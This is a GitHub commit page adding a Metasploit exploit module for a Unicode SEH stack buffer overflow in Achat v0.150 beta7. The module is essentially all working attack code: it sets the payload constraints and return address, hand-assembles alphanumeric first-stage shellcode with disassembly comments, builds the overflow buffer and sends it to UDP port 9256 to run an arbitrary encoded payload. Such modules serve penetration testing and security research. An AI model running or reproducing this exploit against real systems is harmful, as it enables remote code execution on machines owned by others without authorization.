Skip to content

Commit 5687028

Browse files
committed
Land rapid7#4671, @earthquake's exploit for achat buffer overflow
2 parents 0a42ac9 + 6165d62 commit 5687028

File tree

1 file changed

+131
-0
lines changed

1 file changed

+131
-0
lines changed
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::Udp
12+
include Msf::Exploit::Remote::Seh
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Achat v0.150 beta7 Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits an unicode SEH based stack buffer overflow in Achat v0.150. By
19+
sending a crafted message to the default port 9256 it's possible to overwrites the
20+
SEH handler. Even when the exploit is reliable it depends of timing since there are
21+
two threads overflowing the stack in the same time. This module has been tested on
22+
Windows XP SP3 and Windows 7.
23+
},
24+
'Author' =>
25+
[
26+
'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
27+
'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
28+
],
29+
'License' => MSF_LICENSE,
30+
'References' =>
31+
[
32+
['CWE', '121'],
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'EXITFUNC' => 'process'
37+
},
38+
'Payload' =>
39+
{
40+
'DisableNops' => true,
41+
'Space' => 730,
42+
'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
43+
'StackAdjustment' => -3500,
44+
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
45+
'EncoderOptions' =>
46+
{
47+
'BufferRegister' => 'EAX'
48+
}
49+
},
50+
'Platform' => 'win',
51+
'Targets' =>
52+
[
53+
# Tested OK Windows XP SP3, Windows 7
54+
# Not working on Windows Server 2003
55+
[ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe
56+
],
57+
'Privileged' => false,
58+
'DefaultTarget' => 0,
59+
'DisclosureDate' => 'Dec 18 2014'))
60+
61+
register_options(
62+
[
63+
Opt::RPORT(9256)
64+
], self.class)
65+
end
66+
67+
def exploit
68+
connect_udp
69+
70+
# 0055 00 ADD BYTE PTR SS:[EBP],DL # padding
71+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # padding
72+
# 55 PUSH EBP # ebp holds a close pointer to the payload
73+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
74+
# 58 POP EAX # mov eax, ebp
75+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
76+
# 05 00140011 ADD EAX,11001400 # adjusting eax
77+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
78+
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
79+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
80+
# 50 PUSH EAX # eax points to the start of the shellcode
81+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
82+
# 58 POP EAX # padding
83+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
84+
# 59 POP ECX # padding
85+
# 0039 ADD BYTE PTR DS:[ECX],BH # padding
86+
first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
87+
88+
sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
89+
sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
90+
sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
91+
sploit << "\x61\x40" # POPAD + INC EAX
92+
93+
sploit << target.ret # AChat.exe p/p/r address
94+
95+
# adjusting the first thread's unicode payload, tricky asm-fu
96+
# the first seh exception jumps here, first_stage variable will be executed
97+
# by the second seh exception as well. It needs to be in sync with the second
98+
# thread, so that is why we adjust eax/ebp to have a close pointer to the
99+
# payload, then first_stage variable will take the rest of the job.
100+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
101+
# 55 PUSH EBP # ebp with close pointer to payload
102+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
103+
# 58 POP EAX # put ebp to eax
104+
# 006E 00 ADD BYTE PTR DS:[ESI],CH # padding
105+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
106+
# 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
107+
# 05 00140011 ADD EAX,11001400 # more adjusting
108+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
109+
# 2D 00130011 SUB EAX,11001300 # lea eax, eax+100
110+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
111+
# 50 PUSH EAX # saving eax
112+
# 0043 00 ADD BYTE PTR DS:[EBX],AL # padding
113+
# 5D POP EBP # mov ebp, eax
114+
sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
115+
sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
116+
sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX
117+
sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
118+
sploit << "\x00" + 'A' * 10 + "\x00"
119+
120+
i = 0
121+
while i < sploit.length do
122+
if i > 172000
123+
Rex::sleep(1.0)
124+
end
125+
sent = udp_sock.put(sploit[i..i + 8192 - 1])
126+
i += sent
127+
end
128+
disconnect_udp
129+
end
130+
131+
end

0 commit comments

Comments
 (0)